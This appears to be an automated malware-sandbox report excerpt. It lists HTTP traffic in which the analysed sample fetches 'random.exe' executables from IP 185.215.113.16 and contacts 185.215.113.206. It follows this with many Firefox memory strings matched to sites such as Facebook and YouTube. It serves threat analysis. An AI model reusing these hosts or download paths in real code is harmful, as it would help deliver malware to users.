Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/AND bookmarked equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/AND bookmarked equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/bloggerAccount.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/bloggerAccount.js equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/bloggerAccount.js equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pubads.g.doubleclick.net/gampad/ad-blkhttps://en.wikipedia.org/wiki/Special:Search://.adsafeprotected.com/jload?*://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp://ads.stickyadstv.com/user-matching://pubads.g.doubleclick.net/gampad/xml_vmap2*://pubads.g.doubleclick.net/gampad/ad*://.adsafeprotected.com//imp/://vast.adsafeprotected.com/vast://.adsafeprotected.com//unit/://.adsafeprotected.com/jsvid?*browsing-context-did-set-embedder equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://track.adform.net/serving/scripts/trackpoint/://static.criteo.net/js/ld/publishertag.js://static.chartbeat.com/js/chartbeat_video.js://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//sdk.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.googletagservices.com/tag/js/gpt.js://adservex.media.net/videoAds.js://connect.facebook.net//all.js*://.vidible.tv//vidible-min.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.rva311.com/static/js/main..chunk.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://.imgur.com/js/vendor..bundle.js://static.chartbeat.com/js/chartbeat_video.jswebcompat-reporter%40mozilla.org:1.5.1://web-assets.toggl.com/app/assets/scripts/.js://www.googletagmanager.com/gtm.js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://www.google-analytics.com/analytics.js://s0.2mdn.net/instream/html5/ima3.jsFileUtils_closeAtomicFileOutputStream@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/FileUtils.sys.mjspictureinpicture%40mozilla.org:1.0.0://www.everestjs.net/static/st.v3.js://cdn.branch.io/branch-latest.min.js://auth.9c9media.ca/auth/main.js://c.amazon-adsystem.com/aax2/apstag.jshttps://smartblock.firefox.etp/facebook.svg://.imgur.io/js/vendor..bundle.js://connect.facebook.net//all.js*://www.google-analytics.com/gtm/jswebcompat-reporter@mozilla.org.xpihttps://smartblock.firefox.etp/play.svg://track.adform.net/serving/scripts/trackpoint/://pub.doubleverify.com/signals/pub.js*://static.chartbeat.com/js/chartbeat.jsFileUtils_closeSafeFileOutputStreamresource://gre/modules/addons/XPIProvider.jsm://static.criteo.net/js/ld/publishertag.js://.vidible.tv//vidible-min.jssessionstore-finished-restoring-initial-tabs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: ://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCC66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3668341106.00000214FDA07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3680500692.00000214FE959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3669982732.00000214FDCDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3672212756.00000214FE3B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676557143.00000214FE6A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676557143.00000214FE650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3680500692.00000214FE959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\browser\features://www.googleadservices.com/pagead/conversion_async.jshttps://static.adsafeprotected.com/firefox-etp-pixel://pagead2.googlesyndication.com/gpt/pubads_impl_.js://track.adform.net/serving/scripts/trackpoint/async/://id.rambler.ru/rambler-id-helper/auth_events.js://media.richrelevance.com/rrserver/js/1.2/p13n.js://securepubads.g.doubleclick.net/gpt/pubads_impl_.js://securepubads.g.doubleclick.net/gampad/xml_vmap1*getUpdateBaseDirNoCreate returning test directory, path: equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.facebook.com","facebook.com"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.youtube.com","youtube.com"] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE50C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browser.fixup.dns_first_for_single_words^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$browser.urlbar.dnsResolveFullyQualifiedNamesbrowser and that URL. Falling back to releaseDistinctSystemPrincipalLoaderand deploy previews URLs are allowed.devtools/client/framework/devtools-browserDevTools telemetry entry point failed: devtools.performance.popup.feature-flagdevtools-commandkey-profiler-capture{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools/client/framework/devtoolsFailed to execute WebChannel callback:DevToolsStartup.jsm:handleDebuggerFlagUnable to start devtools server on Got invalid request to save JSON dataNo callback set for this channel.resource://devtools/shared/security/socket.js@mozilla.org/network/protocol;1?name=defaultdevtools.debugger.features.javascript-tracingdevtools-commandkey-javascript-tracing-toggleFailed to listen. Listener already attached.JSON Viewer's onSave failed in startPersistenceresource://devtools/server/devtools-server.jsdevtools.debugger.remote-websocketFailed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1devtools-commandkey-profiler-start-stopdevtools.performance.recording.ui-base-urlWebChannel/this._originCheckCallback@mozilla.org/dom/slow-script-debug;1https://mail.inbox.lv/compose?to=%s^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjsextractScheme/fixupChangedProtocol<https://poczta.interia.pl/mh/?mailto=%sCan't invoke URIFixup in the content process^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$){c6cf88b7-452e-47eb-bdc9-86e3561648ef}isDownloadsImprovementsAlreadyMigratedhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1http://www.inbox.lv/rfc2368/?value=%sScheme should be either http or httpsgecko.handlerService.defaultHandlersVersionresource://gre/modules/DeferredTask.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs@mozilla.org/uriloader/web-handler-app;1get FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s_injectDefaultProtocolHandlersIfNeededhttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/FileUtils.sys.mjs^([a-z+.-]+:\/{0,3})*([^\/@]+@).+browser.fixup.domainsuffixwhitelist._finalizeInternal/this._finalizePromise<resource://gre/modules/DeferredTask.sys.mjsMust have a source and a callback@mozilla.org/network/async-stream-copier;1resource://gre/modules/JSONFile.sys.mjsnewChannel requires a single object argumentFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specifiedSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLresource://gre/modules/URIFixup.sys.mjs@mozilla.org/scriptableinputstream;1@mozilla.org/network/inpu
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3669982732.00000214FDCDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
